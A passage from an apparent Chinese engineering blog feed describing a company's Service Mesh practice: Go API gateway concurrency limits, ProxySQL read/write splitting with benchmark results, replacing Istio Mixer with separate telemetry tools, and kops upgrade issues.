次数和释放的数据也大大降低,CPU 使用率又有了大幅的降低。</p> + +<p> </p> + +<h4 id="稳定性">稳定性</h4> + +<p>API Gateway 上线运行一段时间后有一些问题,下游业务常常会因为底层数据库或者是别的什么原因导致卡了一下,这一瞬间的并发请求数就会非常大,单个实例就会到几千甚至几万的并发请求。</p> + +<p>大部分简单的 HTTP Server 都是多线程模式,每个请求由一个线程负责处理。当并发请求量一高,在 Java 中一个线程就要占用 1M 的栈,1000个并发请求就要占用 1G 的内存。一般 HTTP Server 都会在这种时候拒绝请求。</p> + +<p>高级点的 HTTP Server 可以把接收请求和处理请求解耦。接收请求的部分用 IO 复用来实现,几十万的连接都不在话下。而处理请求的部分还是一个请求一个线程,这样对业务写代码会更友好。两个部分再通过两个队列来整合在一起。</p> + +<p>而 Golang 就没这个烦恼了,Golang 协程的开销极小,编程的思路还是同步写法,但底层自动帮你处理了。于是它自信满满地把这些请求全部发送给了下游。</p> + +<p>当下游返回数据的时候它就懵了,虽然没有了线程的开销,但几万个请求同时在 API Gateway 内部处理,返回的数据 10k, 100k 是很常见的,还要在内存里 gunzip 一下,虽然处理能力比 Java 强得多,但到了上千近万还是扛不住。</p> + +<p>而 Golang 程序正常的时候占用内存极小,所以尽量节约资源,不会给它分配过多的内存,于是我们线上就经常会 OOM,一个实例 OOM,还会导致所有别的实例雪崩,线上还真的因此挂了很多次。</p> + +<p>一开始我们也是简单地和传统 HTTP Server 限制一下最大并发请求数,可是这个数字太小就会出现很多被拒绝的请求,太大又会 OOM。</p> + +<p>后来仔细想了想,这个问题对于 Golang 来说其实很好解决。一个请求过来后会检查当前并发请求数,如果数量太多就开始<code class="language-plaintext highlighter-rouge">sleep</code>自旋等待,最终要么等并发数降下去后继续执行,要么过了超时时间再抛错。</p> + +<p>这个功能上线后,API Gateway 自身的稳定性大大提高,再也不会因为下游的不稳定而造成 OOM 了,在几秒内的卡顿不仅不会 OOM,也不会拒绝任何一个请求。</p> + +<p><img src="/uploads/2020/02/gateway.png" alt="Gateway" /></p> + +<p>上面是我们的 API Gateway 长时间运行无重启的截图。</p> + +<p> </p> + +<h4 id="后续">后续</h4> + +<p>API Gateway 该实现的功能大多数都实现了,后面随着服务越来越多,规则配置变更也会很多。目前配置是打包在代码中的,后面会考虑把配置做成动态配置再加上一个管理界面。</p> + + Wed, 26 Feb 2020 00:00:00 +0000 + /2020/02/api-gateway.html + /2020/02/api-gateway.html + + + + Service Mesh 实践(三):数据库中间件 + <h3 id="为什么要用数据库中间件">为什么要用数据库中间件</h3> + +<p>严格的来说,数据库中间件的选择和 Servic Mesh 无关,一般公司很早就应该上数据库中间件了。</p> + +<p>数据库中间件一般有两个方案:SDK 模式或者 Proxy 模式。SDK 模式性能更好,Proxy 模式兼容性更好。</p> + +<p>既然我们都在往 Service Mesh 方向走了,就是不想在业务代码去接 SDK 了,所以 Proxy 模式是我们优先选择的方案。虽然延迟会高一点,但还是那句话,不要只盯着单次调用的延时。</p> + +<p>那数据库中间件到底解决了哪些问题?一般来说,利用数据库中间件可以实现如下功能:</p> + +<ol> + <li>读写分离</li> + <li>分库分表</li> + <li>故障转移</li> + <li>动态配置</li> + <li>统计分析</li> + <li>SQL 防火墙</li> + <li>查询缓存</li> +</ol> + +<p>之前在大众点评做 <a href="https://github.com/Meituan-Dianping/Zebra">Zebra</a> 的时候,主要的技术方案就是 SDK 模式,因为整个大众点评是 Java 技术栈,没有多语言的问题,所以用 SDK 模式可以尽量提高性能。</p> + +<!--more--> + +<p> </p> + +<h3 id="从-mysql-到-aurora">从 MySQL 到 Aurora</h3> + +<p>上面说了,数据库中间件在做 Service Mesh 之前就有这个需求了,但我们之前并没有做这块。原因就是 <a href="https://aws.amazon.com/rds/aurora/">Amazon Aurora</a> 太好用了。</p> + +<p>以前在大众点评花了大量的时间做故障转移,但是 Aurora 直接全部帮你搞定了。</p> + +<p>Aurora 是 AWS 基于 MySQL 魔改出来的,这篇文章可以一窥 Aurora 的架构设计:<a href="https://www.infoq.cn/article/kW4a9VbywO_XLiTizzB1">Amazon Aurora 是如何设计原生云关系型数据库的?</a></p> + +<p>而读写分离和分库分表,我们因为只有一个单体程序,所以都是通过手写来实现的。并不是自动读写分离,自动分库分表。</p> + +<p> </p> + +<h3 id="新的挑战">新的挑战</h3> + +<p>虽然 Aurora 帮我们解决了故障转移这个最棘手的问题,但是别的还是要自己来做。微服务化后,很多轻量级的服务出现,它们只需要基本的读写分离功能,并不希望为了这个再去整合什么 SDK;另外我们涉及到的开发语言也不少。</p> + +<p>能否用 Proxy 模式来解决这个问题?Proxy 模式的数据库中间件也是一个非常常见的技术方案。另外这两个方案也并不冲突,完全可以根据不同的业务类型来使用不同的技术方案。</p> + +<p>而我们现在是快速迭代试错的阶段,所以找到一个满足我们需求的 Proxy 是第一位的。</p> + +<p> </p> + +<h3 id="mycat-与-shardingsphere">MyCAT 与 ShardingSphere</h3> + +<p>因为之前是 Java 技术栈,那么自然先找到了两个 Java 开发的两大中间件了。</p> + +<p>MyCAT 成名早,ShardingSphere 是后起之秀,知乎上有一篇两者的对比文章特别有意思:<a href="https://www.zhihu.com/question/64709787">mycat和sharding-jdbc哪个比较好?各有什么优缺点? +</a></p> + +<p>说真的,的确受不了 MyCAT 的土味气息。而 ShardingSphere 就靠谱多了,首先是在京东有大规模实践,代码完全开源并归属于开源社区,开源运作方式也很标准。</p> + +<p>最最重要的就是知乎上提到的,ShardingSphere 的官网和文档好太多了。</p> + +<p>然而使用 ShardingSphere 的过程也没那么顺利。一开始就遇到了两个问题,我也给官方提了 issue。</p> + +<p><a href="https://github.com/apache/incubator-shardingsphere/issues/1533">The result of <code class="language-plaintext highlighter-rouge">getBytes</code> is wrong.</a></p> + +<p><a href="https://github.com/apache/incubator-shardingsphere/issues/1506">Does sharding-proxy support hint?</a></p> + +<p>例如第一个问题,因为 JDBC 规范也挺熟悉了,所以尝试自己去修复一下,但看到他们代码内的<code class="language-plaintext highlighter-rouge">Binary</code>相关的 MySQL 字段都是处理错误的,心凉了半截。讲真代码还是有点乱的,他们<code class="language-plaintext highlighter-rouge">Binary</code>这块的逻辑并没有理得很清楚。</p> + +<p>当时他们刚开源不久,也还没有加入 Apache 基金会,虽然现在上面两个问题都已经解决,但基于当时的情况,还是不敢用的。另外 Java 在容器化下的慢启动和高内存问题也是我不太敢用 Java 中间件的原因。</p> + +<p> </p> + +<h3 id="proxysql">ProxySQL</h3> + +<p>后来继续搜寻相关中间件的时候偶然发现了 <a href="https://www.proxysql.com/">ProxySQL</a>,于是决定尝试一下。</p> + +<p>它可以解决上面提到了所有数据库中间件需要解决的问题。</p> + +<p>然而,万万没想到,刚开始试用就遇上了 Bug:<a href="https://github.com/sysown/proxysql/issues/1860">ProxySQL hangs after run <code class="language-plaintext highlighter-rouge">set names 'binary'</code></a></p> + +<p>如果不设置这个,MySQL 会认为<code class="language-plaintext highlighter-rouge">'a' = 'ä'</code>,因为我们是面向全球用户的 APP,很多用户的用户名会用这些字符,这个参数是否设置对结果影响很大,可以看 MySQL 的官方文档:</p> + +<ul> + <li><a href="https://dev.mysql.com/doc/refman/5.7/en/charset-binary-collations.html">The binary Collation Compared to _bin Collations</a></li> + <li><a href="https://dev.mysql.com/doc/refman/5.7/en/charset-binary-set.html">The Binary Character Set</a></li> +</ul> + +<p>我给作者提了 Issue,作者响应也非常快,一天内就给我反馈了。他问了我一些细节,也让我帮他抓包看看。</p> + +<p>最后大概一个月过后,他把这个 Bug 修复了,并发布了新版本。</p> + +<p>而在他修复 Bug 期间,我们其实已经用起来了,因为当时迁移的业务不包含这样子的特殊文本比较,所以不会命中这个 Bug。</p> + +<p>整体的使用过程中是非常可靠的,因为 ProxySQL 是 C++ 写的,而且作为 Proxy 主要功能也只是做一些转发,所以 CPU 和内存消耗非常小,启动也非常快。</p> + +<p> </p> + +<h3 id="proxysql-配置">ProxySQL 配置</h3> + +<p>我们目前通过 ProxySQL 实现了读写分离,强制主库 Hint 和非法 SQL 拦截。这里可以给配置作为参考:</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mysql_servers = +( + { + address = "[change to your mysql master server]" # no default, required + port = 3306 # no default, required + hostgroup = 0 # no default, required + status = "ONLINE" # default: ONLINE + weight = 1 # default: 1 + compression = 0 # default: 0 + }, + { + address = "[change to your mysql slave server]" # no default, required + port = 3306 # no default, required + hostgroup = 1 # no default, required + status = "ONLINE" # default: ONLINE + weight = 1 # default: 1 + compression = 0 # default: 0 + } +) + +#defines MySQL Query Rules +mysql_query_rules: +( + { + rule_id=0 + active=1 + match_pattern="^\s*UPDATE (?!.[\s\S]*(where))" + destination_hostgroup=1 + apply=0 + flagOUT=403 + }, + { + rule_id=1 + active=1 + match_pattern="^\s*DELETE (?!.[\s\S]*(where))" + destination_hostgroup=1 + apply=0 + flagOUT=403 + }, + { + rule_id=2 + active=1 + match_pattern="^\s*/\*master\*/" + destination_hostgroup=0 + apply=1 + }, + { + rule_id=3 + active=1 + match_pattern="^\s*SELECT [\s\S]* FOR UPDATE$" + destination_hostgroup=0 + apply=1 + }, + { + rule_id=4 + ctive=1 + match_pattern="^\s*SELECT" + destination_hostgroup=1 + apply=1 + }, + { + rule_id=1001 + active=1 + apply=1 + flagIN=403 + error_msg="Query not allowed" + } +) +</code></pre></div></div> + +<p>前面两条规则是禁止使用没有<code class="language-plaintext highlighter-rouge">WHERE</code>的<code class="language-plaintext highlighter-rouge">UPDATE</code>和<code class="language-plaintext highlighter-rouge">DELETE</code>,这个是血泪史,有同事在线上出过事。还好当时那张表太大,没有执行完就赶紧终止掉了。不然就真是的从删库到跑路了。</p> + +<p>第三条是支持强制走写库,因为 ProxySQL 实现了自动读写分离,业务不需要整合任何框架。但是有时候业务就是需要<code class="language-plaintext highlighter-rouge">SELECT</code>语句强制走写库,那么这时候只要在 SQL 语句前面加上注释就行了。</p> + +<p>用法:<code class="language-plaintext highlighter-rouge">/*master*/SELECT * FROM users LIMIT 1</code>。</p> + +<p>第四条支持<code class="language-plaintext highlighter-rouge">SELECT * FROM user FOR UPDATE</code>强制走写库。这条 SQL 语句是在同一个事务中为了后续更新数据,读取数据并加锁的操作。</p> + +<p>第五条规则就是默认所有<code class="language-plaintext highlighter-rouge">SELECT</code>走从库了。</p> + +<p>最后一个是一个通用行为,第一条和第二条规则会跳转到这里。</p> + +<p> </p> + +<h3 id="proxysql-基准测试与性能调优">ProxySQL 基准测试与性能调优</h3> + +<p>如果把它作为长久的方案,那跑一下符合我们环境的基准测试还是必须的。需要了解一下在有 Proxy 和没 Proxy 下的性能区别,各个版本 ProxySQL 的性能区别,还有不同负载下的性能区别。</p> + +<p>这里我也做了个基于 Sysbench 的工具可以方便地做 ProxySQL 基准测试,对不同版本,不同参数的对比很有参考意义。</p> + +<p><a href="https://github.com/dozer47528/proxysql-benchmark">https://github.com/dozer47528/proxysql-benchmark</a></p> + +<p> </p> + +<h4 id="极限压力测试">极限压力测试</h4> + +<p>首先测试一下不限制 Sysbench 的 rate,用尽全力去压测。</p> + +<ul> + <li>MySQL: CPU 2, Memory 4Gi, Max Connection 2048</li> + <li>ProxySQL: CPU 1, Memory 256Mi, Max Connection 2048</li> + <li>Sysbench: CPU 1, Memory 1Gi</li> +</ul> + +<table> + <thead> + <tr> + <th>Threads</th> + <th>MySQL Min</th> + <th>ProxySQL Min</th> + <th>MySQL Avg</th> + <th>ProxySQL Avg</th> + <th>MySQL Max</th> + <th>ProxySQL Max</th> + <th>MySQL P95</th> + <th>ProxySQL P95</th> + </tr> + </thead> + <tbody> + <tr> + <td>10</td> + <td>1.38 ms</td> + <td>5.65 ms</td> + <td>8.40 ms</td> + <td>8.63 ms</td> + <td>72.90 ms</td> + <td>215.26 ms</td> + <td>38.94 ms</td> + <td>13.22 ms</td> + </tr> + <tr> + <td>50</td> + <td>1.39 ms</td> + <td>5.60 ms</td> + <td>42.66 ms</td> + <td>44.50 ms</td> + <td>280.67 ms</td> + <td>224.27 ms</td> + <td>92.42 ms</td> + <td>82.96 ms</td> + </tr> + <tr> + <td>100</td> + <td>1.47 ms</td> + <td>5.54 ms</td> + <td>87.65 ms</td> + <td>87.22 ms</td> + <td>605.22 ms</td> + <td>504.15 ms</td> + <td>189.93 ms</td> + <td>155.80 ms</td> + </tr> + <tr> + <td>500</td> + <td>4.32 ms</td> + <td>13.20 ms</td> + <td>569.17 ms</td> + <td>436.58 ms</td> + <td>2751.15 ms</td> + <td>3829.34 ms</td> + <td>893.56 ms</td> + <td>831.46 ms</td> + </tr> + </tbody> +</table> + +<p><img src="/uploads/2020/02/mysql-proxysql-full.png" alt="Full" /></p> + +<p>从结果可以看出来并发量增加后最后的瓶颈都是 MySQL 了,并且随着并发量的增加,ProxySQL 的性能损耗基本是常数级别的,Avg 这一栏在并发数是 10,50 的时候都是慢 2ms 左右。</p> + +<p>因为 ProxySQL 不会做额外的计算,所以不会因为 MySQL 压力大而影响自身性能。</p> + +<p>但这种把 MySQL 往死里压的场景其实很少,只有 MySQL 故障的时候才会出现。</p> + +<p> </p> + +<h4 id="限制-sysbench-rate">限制 Sysbench rate</h4> + +<p>平日里,MySQL 一般都不会是满负载运行,一般来说连接会很多,但大部分连接都不会一直在请求。所以我在这里尝试把 Sysbench 每秒请求速率控制一下,保证不把 MySQL 压垮。</p> + +<ul> + <li>MySQL: CPU 2, Memory 4Gi, Max Connection 2048</li> + <li>ProxySQL: CPU 1, Memory 256Mi, Max Connection 2048</li> + <li>Sysbench: CPU 1, Memory 1Gi, Rate 256/s</li> +</ul> + +<table> + <thead> + <tr> + <th>Threads</th> + <th>MySQL Min</th> + <th>ProxySQL Min</th> + <th>MySQL Avg</th> + <th>ProxySQL Avg</th> + <th>MySQL Max</th> + <th>ProxySQL Max</th> + <th>MySQL P95</th> + <th>ProxySQL P95</th> + </tr> + </thead> + <tbody> + <tr> + <td>10</td> + <td>3.24 ms</td> + <td>4.37 ms</td> + <td>3.82 ms</td> + <td>4.95 ms</td> + <td>33.06 ms</td> + <td>15.21 ms</td> + <td>4.33 ms</td> + <td>5.37 ms</td> + </tr> + <tr> + <td>50</td> + <td>3.23 ms</td> + <td>4.52 ms</td> + <td>3.84 ms</td> + <td>5.10 ms</td> + <td>12.34 ms</td> + <td>14.20 ms</td> + <td>4.33 ms</td> + <td>5.57 ms</td> + </tr> + <tr> + <td>100</td> + <td>3.24 ms</td> + <td>4.55 ms</td> + <td>3.82 ms</td> + <td>5.21 ms</td> + <td>11.91 ms</td> + <td>13.97 ms</td> + <td>4.41 ms</td> + <td>5.77 ms</td> + </tr> + <tr> + <td>500</td> + <td>3.25 ms</td> + <td>5.04 ms</td> + <td>3.87 ms</td> + <td>6.05 ms</td> + <td>12.26 ms</td> + <td>17.71 ms</td> + <td>4.49 ms</td> + <td>6.91 ms</td> + </tr> + <tr> + <td>1000</td> + <td>3.23 ms</td> + <td>5.73 ms</td> + <td>3.84 ms</td> + <td>7.56 ms</td> + <td>14.47 ms</td> + <td>17.80 ms</td> + <td>4.41 ms</td> + <td>8.90 ms</td> + </tr> + <tr> + <td>2000</td> + <td>3.21 ms</td> + <td>7.99 ms</td> + <td>3.84 ms</td> + <td>11.15 ms</td> + <td>48.86 ms</td> + <td>45.65 ms</td> + <td>4.41 ms</td> + <td>17.63 ms</td> + </tr> + </tbody> +</table> + +<p><img src="/uploads/2020/02/mysql-proxysql-rate.png" alt="Rate" /></p> + +<p>在这样的压力下,MySQL 非常稳,而 ProxySQL 的性能却随着连接数的增加而变差了。良好设计后的数据库实例本身就应该由单一的几个业务访问,而不是让服务都能访问,所以在 1000 以下的连接数下的性能损耗完全是可以接受的。</p> + +<p>是否可以尝试改善一下大量连接下的性能?ProxySQL 默认 4 个线程,Sysbench 并发高的话 4 个线程会不会太小?</p> + +<p> </p> + +<h3 id="尝试提升-proxysql-线程数">尝试提升 ProxySQL 线程数</h3> + +<ul> + <li>MySQL: CPU 2, Memory 4Gi, Max Connection 2048</li> + <li>ProxySQL: CPU 1, Memory 256Mi, Max Connection 2048, Threads 8</li> + <li>Sysbench: CPU 1, Memory 1Gi, Rate 256/s</li> +</ul> + +<table> + <thead> + <tr> + <th>Sysbench Threads</th> + <th>ProxySQL Threads</th> + <th>Min</th> + <th>Avg</th> + <th>Max</th> + <th>P95</th> + </tr> + </thead> + <tbody> + <tr> + <td>1000</td> + <td>4</td> + <td>5.73 ms</td> + <td>7.56 ms</td> + <td>17.80 ms</td> + <td>8.90 ms</td> + </tr> + <tr> + <td>1000</td> + <td>8</td> + <td>4.97 ms</td> + <td>6.01 ms</td> + <td>50.00 ms</td> + <td>6.91 ms</td> + </tr> + <tr> + <td>2000</td> + <td>4</td> + <td>7.99 ms</td> + <td>11.15 ms</td> + <td>45.65 ms</td> + <td>17.63 ms</td> + </tr> + <tr> + <td>2000</td> + <td>8</td> + <td>5.68 ms</td> + <td>7.54 ms</td> + <td>58.87 ms</td> + <td>9.91 ms</td> + </tr> + </tbody> +</table> + +<p>这里就出现了一个很有意思的现象了,除了 Max 外别的都降低了。</p> + +<p>如果它并发做得好,在线程数大于 CPU 核心数的前提下,线程数越少越好。</p> + +<p>官方的一个 Issue 也很好地解释了应该如何配置线程数:<a href="https://github.com/sysown/proxysql/issues/1166">How can i find the correct number of mysql-threads</a></p> + +<p>但为什么我配置的 CPU <code class="language-plaintext highlighter-rouge">limits</code> 是 1,加大了线程数却有效果呢?因为 Kubernetes <code class="language-plaintext highlighter-rouge">limits</code> 里配置的 1 不是给你一个核,而是指相当于一个核的 CPU 时间。</p> + +<p>这篇文章讲解的很好:<a href="https://medium.com/expedia-group-tech/kubernetes-container-resource-requirements-part-2-cpu-83ca227a18b1">Kubernetes Container Resource Requirements — Part 2: CPU</a></p> + +<p>举个例子就是在 1 秒内让一个工人给你工作 1 秒和在 1 秒内让 4 个工人分别给你工作 0.25 秒 的区别。</p> + +<p>我的电脑是 8 核的 CPU,所以配置成 8 个线程后整体延迟下降了。但是,虽然 8 个核都可以用到,但都是残血的。所以有些线程跑到一半资源又被别的线程抢过去了,导致 Max 增加。</p> + +<p>所以在容器化下跑这些东西还是要压测一下真实数据才更靠谱。</p> + +<p>后面还要继续调优 ProxySQL 的话,可以看看官方文档,还有这里有些博客,也有很多介绍:<a href="https://www.junmajinlong.com/mysql/index/#3-2-MySQL-%E4%B8%AD%E9%97%B4%E4%BB%B6%EF%BC%9AProxySQL">MySQL-中间件:ProxySQL</a></p> + +<p> </p> + +<h3 id="后续">后续</h3> + +<p>目前 ProxySQL 连接数在 1000 以下的情况下性能完全够用,后面我们要重度使用的话,还是要做一下性能调优的。</p> + +<p>另外 ProxySQL 本身把所有配置写入了自己内置的一个数据库中,启动的时候可以读一份配置,运行的时候也可以直接修改。后面数据库实例多了,做一些管理工具是必须的。</p> + +<p>还有 ProxySQL 自身监控数据也已经非常多了,但还是需要做一些整合,例如配合 Prometheus 和 Grafana,把它们呈现出来。</p> + + Sun, 23 Feb 2020 00:00:00 +0000 + /2020/02/database-middleware.html + /2020/02/database-middleware.html + + + + Service Mesh 实践(二):Istio Mixer 模块的性能问题与替代方案 + <h3 id="寄以厚望的-mixer">寄以厚望的 Mixer</h3> + +<p><a href="https://istio.io/docs/ops/deployment/architecture/">Istio Architecture</a></p> + +<p>Istio 的架构设计让人看着非常舒服,分工明确,扩展性强。</p> + +<p><img src="/uploads/2020/02/istio-arch.png" alt="The overall architecture of an Istio-based application." /></p> + +<p>特别是 Mixer 模块,包含<code class="language-plaintext highlighter-rouge">Telemetry</code>和<code class="language-plaintext highlighter-rouge">Policy Check</code>两个模块,数据平面的 Envoy 会把所有请求异步发送给 Mixer 用作遥测,也会定时检查对应规则判断是否可以调用目标服务。</p> + +<p>数据平面会把所有的请求上报到 Mixer,如果想要扩展任何功能,只需要扩展 Mixer 就行了。Istio 也把这一层做成了 <a href="https://kubernetes.io/docs/concepts/extend-kubernetes/api-extension/custom-resources/">CRDs</a>,只需要创建对应的 CRDs 就可以了,而不需要对数据平面做任何改动。</p> + +<p>按照 Istio 的理念,遥测和规则检查是属于控制平面的,从解耦的角度看,这样的设计很棒。</p> + +<!--more--> + +<p> </p> + +<h3 id="残酷的现实">残酷的现实</h3> + +<p>然而,随着 Istio 1.0 的发布,大家纷纷用上后都发现 Mixer 的性能影响很大。</p> + +<p>第一个影响是 Mixer 会导致延迟变高,根据 Istio 官方的 <a href="https://istio.io/docs/ops/deployment/performance-and-scalability/">Benchmark</a>,文中可以看到 P90 Lantency 在加了 Mixer 以后差了一个数量级。</p> + +<p>官方 Benchmark 中有这么一句话:In upcoming Istio releases we are moving istio-policy and istio-telemetry functionality into the proxy as TelemetryV2.</p> + +<p>最近,Istio 团队也意识到了这个问题,并已经开始重构。据说即将发布的 Istio 1.5 就会把 Mixer 整合进 Envoy 中。这样减少了额外的远程调用,可以减少延迟降低 CPU 消耗。</p> + +<p>其实再去回看蚂蚁金服的 <a href="https://www.sofastack.tech/projects/sofa-mesh/overview/">SOFAMesh</a> 就会发现,SOFAMesh 在很早就意识到了这个问题,并且着手进行了改造。直接把 Envoy 用自研的模块取代,并把 Mixer 整合进去了。整个改造思路和 Istio 未来的设计是类似的。</p> + +<p> </p> + +<h3 id="mixer-到底有什么用">Mixer 到底有什么用</h3> + +<p>我们的解决方案非常简单,直接把 Mixer 模块禁用了。这肯定不是一个简单的决定,这肯定是根据我们现状决定的。</p> + +<p>首先看看 Mixer 能给我们提供什么。</p> + +<p> </p> + +<h4 id="policy-check">Policy Check</h4> + +<p>以我们现在的公司规模,内部是不需要什么服务之间的访问权限控制的,因为内部的“漏洞”太多了,就算你把这里堵住了,真的想搞事的人有大把手段可以绕过这个限制。所以这个功能暂时对我们来说是没什么意义的。</p> + +<p>我们很早就把<code class="language-plaintext highlighter-rouge">Policy Check</code>给禁用了。</p> + +<p>如果每个 Istio 版本更新你都看了的话,你会发现很早以前 Istio 是默认开启<code class="language-plaintext highlighter-rouge">Policy Check</code>的,而当前版本,默认就禁用了<code class="language-plaintext highlighter-rouge">Policy Check</code>。</p> + +<p>可见这个功能对大部分人来说是不需要的。</p> + +<p>禁用掉<code class="language-plaintext highlighter-rouge">Policy Check</code>后,P95 好了很多,因为之前它需要定期去检查各种规则。</p> + +<p> </p> + +<h4 id="telemetry">Telemetry</h4> + +<p>Istio 里的<code class="language-plaintext highlighter-rouge">Telemetry</code>主要有这些:</p> + +<ul> + <li><a href="https://www.jaegertracing.io/">Jaeger</a> 或 <a href="https://zipkin.io/">Zipkin</a> 负责分布式追踪</li> + <li>Prometheus + Grafana 负责监控和告警</li> + <li>Access Log 会被统一搜集到 Mixer</li> +</ul> + +<p>先说说分布式追踪,分布式追踪不侵入代码是不可能的。如果你不改任何代码直接在 Istio 里启用分布式追踪,它会有<code class="language-plaintext highlighter-rouge">A -&gt; B</code>的调用,也会有<code class="language-plaintext highlighter-rouge">B -&gt; C</code>的调用,但是没有<code class="language-plaintext highlighter-rouge">A -&gt; B -&gt; C</code>,也就是说不能把它们串起来。</p> + +<p>为什么串不起来呢?因为作为 Sidecar 是不侵入代码的,只能观测到所有进出的流量。而对于 Sidecar 来说它观测到的进出请求同时会有很多,如果没有什么特殊的标记,它并不知道它们之间的关系,因此也无法把整个调用链串起来了。</p> + +<p>一般 RPC 都会有一个类似<code class="language-plaintext highlighter-rouge">RequestId</code>的东西,并且会在所有调用中透传,而 HTTP 或 gRPC 现在并没有相关的协议。所以你必须在自己的代码里手工或利用 SDK 来透传。</p> + +<p>除此以外,你想做分布式追踪那么代码内部的一些细节你肯定也是想知道的。例如内部调用了几次数据库,分别耗时多少等。光看服务之间的 RPC 调用,颗粒度还是太粗了。</p> + +<p>对于分布式追踪来说,侵入代码是必须的,SDK 能帮你尽量少动代码,但无法避免引入对应的 SDK。像 Java 很简单,引一些依赖配合 Spring 就自动处理了,而 Golang 都是需要自己手动改代码的。</p> + +<p>所以 Sidecar 模式对分布式追踪来说基本没什么帮助,最后还是要靠自己。</p> + +<p>再说 Prometheus + Grafana 来做监控和告警。</p> + +<p>Prometheus 本身技术方案是完全不影响业务代码性能的,业务代码把数据放自己内存里暴露一个接口,Prometheus 主动去抓取。一般频率也就一分钟一次,所以对业务是无影响的。然后 Istio 搜集各种指标的时候是先发送给 Mixer 然后再由 Mixer 上报到 Prometheus。</p> + +<p>另外 Istio 的 Prometheus 也无法统计自定义的指标,所以整个集群建 Prometheus 是必须的。Istio 的 Prometheus 并没有太大的优势。</p> + +<p>最后看 Access Log,首先我觉得在正常情况下内部服务之间的 Access Log 是没必要完全搜集的。微服务化后,服务之间的调用相当于以前代码间的调用。以前你会把所有方法调用的日志记录下来吗?真的没有必要。除非是在做问题排查的时候,应该按需启用。</p> + +<p>早期版本的 Istio 默认会启用 Sidecar 的 Access Log 并且全部上报给了 Mixer,对整体性能影响非常大。我们通过配置禁用了。但近期的几个版本 Istio 默认也不搜集 Access Log 了。</p> + +<p>另外如果你真的有搜集 Access Log 的需求,完全可以用 Fluent Bit 做成<code class="language-plaintext highlighter-rouge">DaemonSet</code>直接到宿主机上搜集日志。直接读取日志文件,对业务也完全没有影响。</p> + +<p> </p> + +<h3 id="改造方案">改造方案</h3> + +<p>最后,我们的方案就是去掉 Mixer 模块,自己搭建 Jaeger、Prometheus、Grafana 还有 Fluent Bit。</p> + +<p>每个模块都以自己性能最佳的方式去得到自己的数据,而不是像 Mixer 一样,先把数据全部汇总,然后再用适配器模式适配成各种需要的数据。</p> + +<p> </p> + +<h3 id="elastic-apm">Elastic APM</h3> + +<p>后来,我们又发现了一个好用的东西,那就是 <a href="https://www.elastic.co/cn/apm">Elastic APM</a>,从名字上可以看出,它的功能高于 Jaeger,不仅仅做了分布式追踪,还做了以前 Istio 内置 Prometheus + Grafana 做的指标功能。</p> + +<p>界面和易用性上也完全不是一个水平的。</p> + +<p><img src="/uploads/2020/02/elastic-apm.png" alt="Elastic APM UI" /></p> + +<p>当然它也不是完美无缺的,我们也对它稍微进行了一些小改动,它本身的功能迭代也非常快,是很好的 Jeager 替代者。</p> + +<p>另外,Elastic APM 不遵行 <a href="https://opentracing.io/">Opentracing</a> 标准,Jeager 遵行 Opentracing 标准,Opentracing 标准里包含一个支持分布式上下文的功能。这个对微服务化来说很重要,之前说过这个功能一般是 RPC 来支持的,但是我们用的是 HTTP 和 gRPC。</p> + +<p>关于这个问题,后面还会有详细的介绍,详细介绍了我们的解决方案。</p> + +<p> </p> + +<h3 id="未来">未来</h3> + +<p>基于上面的分析,除了<code class="language-plaintext highlighter-rouge">Policy Check</code>以外,遥测相关的功能用 Sidecar 模式并不是一个很好的方案。这些功能对性能要求很高。</p> + +<p><code class="language-plaintext highlighter-rouge">Policy Check</code>放到 Sidecar 里还是很有用的,期待新版本的 Istio 能把 Mixer 整合到数据平面,大幅度改善这块的性能。</p> + +<p>到时候等我们需要<code class="language-plaintext highlighter-rouge">Policy Check</code>,我们会考虑重新把 Mixer 启用。</p> + +<p>其实在实践中我们也慢慢的发现,Sidecar 模式并不是一颗银弹。流量控制这块真的很好用,完全解耦,Sidecar 并不需要业务具体使用什么语言写的。但 Sidecar 模式并不能解决所有问题,很多时候还是应该用更合适的方案去解决问题。</p> + + Fri, 21 Feb 2020 00:00:00 +0000 + /2020/02/replace-istio-mixer.html + /2020/02/replace-istio-mixer.html + + + + Service Mesh 实践(一):从 kops 到 ESK + <h3 id="kops-问题出在哪">kops 问题出在哪?</h3> + +<p>如果仅从易用性这个角度看,kops 是完胜 EKS 的,下面有一个官方的演示视频。</p> + +<p><a href="https://asciinema.org/a/97298">kops 演示视频</a></p> + +<p>所有的操作都可以在命令行里完成,包括建集群,改集群。</p> + +<p>每次变更都需要如下几个步骤:</p> + +<ol> + <li>编辑 yaml 配置。</li> + <li><code class="language-plaintext highlighter-rouge">kops update cluster</code>,这一步相当于<code class="language-plaintext highlighter-rouge">dry run</code>,你可以检查即将产生的变更。</li> + <li><code class="language-plaintext highlighter-rouge">kops update cluster --yes</code>,这一步才是把配置推到线上。</li> + <li><code class="language-plaintext highlighter-rouge">kops rolling-update cluster</code>,这里也是<code class="language-plaintext highlighter-rouge">dry run</code>,上一步虽然把配置推送到线上了,但有些机器的配置需要重建机器。</li> + <li><code class="language-plaintext highlighter-rouge">kops rolling-update cluster --yes</code>,最后它会按顺序一台台更新机器。</li> +</ol> + +<p>整个集群升级过程非常直观可控,再配合 Kubernetes 的<code class="language-plaintext highlighter-rouge">PodDisruptionBudget</code>,整个升级过程会变得非常安全。<code class="language-plaintext highlighter-rouge">PodDisruptionBudget</code>可以控制一个<code class="language-plaintext highlighter-rouge">Deployment</code>至少存活多少<code class="language-plaintext highlighter-rouge">Pod</code>,保证服务可用。否则如果一个<code class="language-plaintext highlighter-rouge">Deployment</code>的两个<code class="language-plaintext highlighter-rouge">Pod</code>凑巧在一台机器上,没有<code class="language-plaintext highlighter-rouge">PodDisruptionBudget</code>的话它就直接干掉了。</p> + +<p>然而, kops 在 Master 节点的可靠性上出了点问题。</p> + +<!--more--> + +<p> </p> + +<h3 id="kops-111-到-112">kops 1.11 到 1.12</h3> + +<p>我们第一个遇到的问题是 kops 升级到 1.12 后的一个架构大改动。当时是 2019 年第二季度左右。</p> + +<p>官方介绍:<a href="https://github.com/kubernetes/kops/blob/master/docs/etcd3-migration.md">https://github.com/kubernetes/kops/blob/master/docs/etcd3-migration.md</a></p> + +<p>Kubernetes is moving from etcd2 to etcd3, which is an upgrade that involves Kubernetes API Server downtime. Technically there is no usable upgrade path from etcd2 to etcd3 that supports HA scenarios, but kops has enabled it using etcd-manager.</p> + +<p>可怕,这个升级过程没有可用的高可用方案,必须要有宕机时间。而最可怕的事情就是,Master 节点在整个 Kubernetes 集群中是非常重要的。</p> + 